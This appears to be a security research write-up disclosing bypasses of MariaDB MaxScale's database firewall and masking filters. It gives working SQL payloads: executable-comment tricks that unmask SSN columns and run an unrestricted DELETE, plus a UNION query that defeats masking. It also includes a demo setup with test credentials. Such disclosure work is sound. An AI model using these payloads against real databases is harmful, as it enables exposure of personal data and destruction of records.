Background

MaxScale is a MySQL proxy developed by MariaDB. Think of it as a MySQL-aware HAProxy. Today we're going to be looking at two of its many filter modules:

• Database Firewall: Allows you to block queries with a flexible set of rules beyond what the grant system can accomplish
• Masking: Allows you to return fake/masked data for certain columns (for example, hiding PII from certain clients).

Demo

First things first, let's take a look at how these filters work in practice. We're going to:

• Create a table called managers with the columns id, first_name, last_name, and ssn
• Create a masking rule to return a fake value for ssn
• Create a firewall rule to prevent DELETE queries that do not have a WHERE clause:

mysql> select * from managers;
+----+------------+-----------+-------------+
| id | first_name | last_name | ssn         |
+----+------------+-----------+-------------+
|  1 | Hugh       | Mann      | XXX-XX-XXXX |
|  2 | John       | Doe       | XXX-XX-XXXX |
+----+------------+-----------+-------------+
2 rows in set (0.00 sec)

mysql> select CONCAT(ssn) from managers;
ERROR 1141 (HY000): The function CONCAT is used in conjunction with a field that should be masked for 'maxuser'@'::ffff:127.0.0.1', access is denied.

mysql> delete from managers;
ERROR 1141 (HY000): Access denied for user 'maxuser'@'::ffff:127.0.0.1': Required WHERE/HAVING clause is missing

Exploitation

How MaxScale parses queries

For MaxScale to function, it needs to parse incoming SQL queries so that it's routers and filters can handle the requests correctly. This functionality is contained in a module called the query_classifier. Historically, it used the mysql_embedded library, but these days it uses a modified version of the sqlite.

Once parsed, MaxScale's modules will have access to relevant information such as the query class (used for determining which backend the servers should be routed to for the purposes for read/write splitting, etc), the database/table/columns it references, and an AST for the query.

What's the problem?

One of the complexities of MySQL's query parser is that it's context sensitive. You need to know information like the current SQL mode, defined functions/tables/databases, and the MySQL version to parse the query correctly. Differences between how MaxScale interprets the query and how the backend interprets the query can not only cause problems in routing the queries correctly but opens the door to bypass the protection it provides based on the parsed result.

How MaxScale handles executable comments

For those of you who aren't familiar with executable comments in MySQL, they are very similar to HTML conditional comments. The goal of these comments is to allow you to use features of newer MySQL versions while keeping the queries backward compatible with older versions. Here's an example from the MySQL documentation:

If you add a version number after the ! character, the syntax within the comment is executed only if the MySQL version is greater than or equal to the specified version number. The KEY_BLOCK_SIZE keyword in the following comment is executed only by servers from MySQL 5.1.10 or higher:

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;

Let's take a look at how MaxScale's SQLite query classifier deals with these comments:

#ifdef MAXSCALE
      if ( z[2] == '!' ){
        // MySQL-specific code
        for (i=3, c=z[2]; (c!='*' || z[i]!='/') && (c=z[i])!=0; i++){}
        if (c=='*' && z[i]=='/'){
          char* znc = (char*) z;
          znc[0]=znc[1]=znc[2]=znc[i-1]=znc[i]=' '; // Remove comment chars, i.e. "/*!" and "*/".
          for (i=3; sqlite3Isdigit(z[i]); ++i){} // Jump over the MySQL version number.
          for (; sqlite3Isspace(z[i]); ++i){} // Jump over any space.
        }

Looking at the code above, we can see that the tokenizer will always parse the executable comment content as SQL regardless of the version of the backend.

Exploiting executable comments

Using the discrepancy between how MaxScale and the backend server will interpret queries with executable comments, we can bypass the firewall and masking rules.

By sending a query with an executable comment targetting a version higher than the backend server (let's say version 99.99.99), we can insert SQL that will be interpreted by MaxScale but ignored by the backend.

Armed with this knowledge, let's steal some SSNs:

mysql> /*!99999 CREATE PROCEDURE bypass BEGIN */ select managers.*, CONCAT(ssn) from managers /*!99999 END */;
+----+------------+-----------+-------------+-------------+
| id | first_name | last_name | ssn         | CONCAT(ssn) |
+----+------------+-----------+-------------+-------------+
|  1 | Hugh       | Mann      | XXX-XX-XXXX | 111-22-3333 |
|  2 | John       | Doe       | XXX-XX-XXXX | 444-55-6666 |
+----+------------+-----------+-------------+-------------+
2 rows in set (0.00 sec)

Uh oh! Let's take a look at what happened here:

• The masking filter will mask result sets based on the schema, org_table, and org_name fields of the COM_QUERY_RESPONSE packet
• Because of this, it attempts to block users from using functions like CONCAT in SELECT statements, which would make these fields not match up with the masking rules and reveal the original value
• MaxScale interpreted our payload as a CREATE PROCEDURE query and so did not check it for any function calls that referenced the masked table
• MariaDB ignored the versioned executable comments and interpreted the query as select managers.*, CONCAT(ssn) from managers and happily returned the results

We can use the same method of wrapping our payload in CREATE PROCEDURE to bypass the firewall rules and execute a DELETE query without a WHERE clause.

An alternative method for bypassing the firewall rule would be to place a WHERE clause inside of an executable comment, satisfying the firewall rules on MaxScales side but ignored by the backend server.

mysql> delete from managers /*!99999 WHERE 1=0 */;
Query OK, 2 rows affected (0.01 sec)

As you can see, the WHERE clause was ignored by the backend server and all the rows in the managers table were deleted.

Using unions to bypass masking

While investigating the above vulnerability, I discovered one more way to bypass the restrictions of the masking filter. Since masking is based on fields in the response packet, we can bypass the filter by using a simple union:

mysql> select 1,1,1,1 UNION SELECT * from managers;
+---+------+------+-------------+
| 1 | 1    | 1    | 1           |
+---+------+------+-------------+
| 1 | 1    | 1    | 1           |
| 1 | Hugh | Mann | 111-22-3333 |
| 2 | John | Doe  | 444-55-6666 |
+---+------+------+-------------+
3 rows in set (0.00 sec)

By using a union here, we've made it so that the org_schema, org_table and org_name fields of the column definition will not be set to test, managers, and ssn respectively.

Setup

For those who want to follow along at home, here are the steps we took to configure MySQL and MaxScale for the demo above. This demo is based on the examples seen in the MaxScale documentation for the above two filters using the MaxScale Docker Compose environment.

Example Schema

First, we'll need a schema and some test data to work with:

create database test;
use test;
CREATE TABLE `managers` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `first_name` varchar(255) NOT NULL,
  `last_name` varchar(255) NOT NULL,
  `ssn` varchar(111) NOT NULL,
  PRIMARY KEY (`id`)
);
INSERT INTO managers (first_name, last_name, ssn) VALUES ('Hugh', 'Mann', '111-22-3333');
INSERT INTO managers (first_name, last_name, ssn) VALUES ('John', 'Doe', '444-55-6666');

MaxScale Configuration

Now we're going to configure MaxScale to:

• Mask the value of ssn
• Block all DELETE queries to the managers table that do not have a WHERE clause

maxscale.cnf

[server1]
type=server
address=master
port=3306
protocol=MariaDBBackend

[server2]
type=server
address=slave1
port=3306
protocol=MariaDBBackend

[server3]
type=server
address=slave2
port=3306
protocol=MariaDBBackend

# Monitor for the servers
# This will keep MaxScale aware of the state of the servers.
# MySQL Monitor documentation:
# https://github.com/mariadb-corporation/MaxScale/blob/2.3/Documentation/Monitors/MariaDB-Monitor.md

[MariaDB-Monitor]
type=monitor
module=mariadbmon
servers=server1,server2,server3
user=maxuser
passwd=maxpwd
auto_failover=true
auto_rejoin=true
enforce_read_only_slaves=1

# Service definitions
# Service Definition for a read-only service and a read/write splitting service.

# Listener definitions for the services
# Listeners represent the ports the services will listen on.
[Firewall-Listener]
type=listener
service=Firewall-Service
protocol=MySQLClient
port=4009

[DatabaseFirewall]
type=filter
module=dbfwfilter
rules=/etc/maxscale-rules.d/rules.txt

[SSNMask]
type=filter
module=masking
warn_type_mismatch=always
large_payload=abort
rules=/etc/maxscale-rules.d/mask.json

[Firewall-Service]
type=service
router=readwritesplit
servers=server1,server2,server3
user=maxuser
password=maxpwd
filters=DatabaseFirewall|SSNMask

firewall rules

rule safe_delete match no_where_clause on_queries delete
rule managers_table match regex '.*from.*managers.*'
users %@% match all rules safe_delete managers_table

masking rules

{
    "rules": [
        {
            "replace": {
                "column": "ssn"
            },
            "with": {
                "value": "XXX-XX-XXXX"
            }
        }
    ]
}